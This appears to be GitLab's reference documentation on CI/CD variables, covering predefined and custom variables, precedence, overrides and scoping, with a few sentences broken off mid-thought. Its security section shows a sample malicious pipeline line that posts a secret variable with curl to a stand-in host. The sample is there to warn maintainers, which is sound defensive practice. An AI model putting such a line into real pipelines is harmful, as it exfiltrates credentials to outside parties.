info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# GitLab CI/CD variables **(FREE)**
CI/CD variables are a type of environment variable. You can use them to:
- Control the behavior of jobs and [pipelines](../pipelines/index.md).
- Store values you want to re-use.
- Avoid hard-coding values in your `.gitlab-ci.yml` file.
You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom:
- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
> For more information about advanced use of GitLab CI/CD:
>
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/)
> shared by GitLab engineers.
> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
> of managing projects across many cloud providers with GitLab CI/CD.
## Predefined CI/CD variables
GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
you can use in pipelines configuration and job scripts.
### Use predefined CI/CD variables
You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first.
This example shows how to output a job's stage by using the `CI_JOB_STAGE`
predefined variable:
```yaml
test_variable:
stage: test
script:
- echo "$CI_JOB_STAGE"
```
The script outputs the `stage` for the `test_variable`, which is `test`:
- [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- [In the project's settings](#add-a-cicd-variable-to-a-project).
- [With the API](../../api/project_level_variables.md).
- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group).
- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance).
You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs),
or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines).
There are two types of variables: [`File` or `Variable`](#cicd-variable-types).
Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html)
to execute scripts. Each shell has its own set of reserved variable names.
Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md).
By default, pipelines from forked projects can't access CI/CD variables in the parent project.
If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project),
all variables become available to the pipeline.
### Create a custom CI/CD variable in the `.gitlab-ci.yml` file
To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file,
define the variable and value with `variables` keyword.
You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file.
If the variable is at the top level, it's globally available and all jobs can use it.
If it's defined in a job, only that job can use it.
```yaml
variables:
TEST_VAR: "All jobs can use this variable's value"
job1:
variables:
TEST_VAR_JOB: "Only job1 can use this variable's value"
script:
- echo "$TEST_VAR" and "$TEST_VAR_JOB"
```
Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project
configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are
visible in the repository. Store sensitive variables containing secrets, keys, and so on
in project settings.
Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md).
If you don't want globally defined variables to be available in a job, set `variables`
The variable is available for all subsequent pipelines.
### CI/CD variable security
Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables
and send them to a third party server regardless of the masked setting. If the pipeline
runs on a [protected branch](../../user/project/protected_branches.md) or
[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables.
Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you:
- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project).
- Merge the changes.
The following example shows malicious code in a `.gitlab-ci.yml` file:
```yaml
build:
script:
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
```
Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
and stored in the database. This data can only be read and decrypted with a
When you store credentials, there are [security implications](#cicd-variable-security).
If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
## Use CI/CD variables in job scripts
All CI/CD variables are set as environment variables in the job's environment.
You can use variables in job scripts with the standard formatting for each environment's
shell.
To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/).
### Use variables with Bash, `sh` and similar
To access environment variables in Bash, `sh`, and similar shells, prefix the
CI/CD variable with (`$`):
```yaml
job_name:
script:
- echo "$CI_JOB_ID"
```
### Use variables with PowerShell
To access variables in a Windows PowerShell environment, including environment
variables set by the system, prefix the variable name with (`$env:`) or (`$`):
```yaml
job_name:
script:
- echo $env:CI_JOB_ID
- echo $CI_JOB_ID
- echo $env:PATH
```
In [some cases](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4115#note_157692820)
In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`.
Variables defined in jobs have a higher precedence than variables defined globally.
```yaml
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable value is $API_TOKEN"
```
## Override a defined CI/CD variable
You can override the value of a variable when you:
1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI.
1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
1. Run a job manually in the UI.
1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
1. Trigger a pipeline by using [the API](../triggers/index.md#making-use-of-trigger-variables).
1. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword)
or [by using variable inheritance](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance).
The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence).
### Override a variable when running a pipeline manually
You can override the value of a CI/CD variable when you
[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**.
1. Choose the branch you want to run the pipeline for.
1. Input the variable and its value in the UI.
### Restrict who can override variables
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8.
You can grant permission to override variables to [maintainers](../../user/permissions.md#project-features) only. When other users try to run a pipeline
with overridden variables, they receive the `Insufficient permissions to set pipeline variables`
error message.
If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file),
use this setting for control over the environment the pipeline runs in.
You can enable this feature by using [the projects API](../../api/projects.md#edit-project)
to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default.
## Limit the environment scope of a CI/CD variable
By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a
compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is
a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting
the environment scope of a variable. GitLab does this by
[defining which environments and corresponding jobs](../environments/index.md)
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
You can restrict access to debug logging. When restricted, only users with
[developer or higher permissions](../../user/permissions.md#project-members-permissions)
can view job logs when debug logging is enabled with a variable in:
- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
- The CI/CD variables set in the GitLab UI.
WARNING:
If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
to all users with access to job logs. The permission levels are not checked by the runner,
so you should only use the variable in GitLab itself.
## Video walkthrough of a working example
The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
working example project. It explains how multiple levels of group CI/CD variables
can be combined with environment-scoped project variables for complex configuration
of application builds or deployments.
The example can be copied to your own group or instance for testing. More details
on what other GitLab CI patterns are demonstrated are available at the project page.
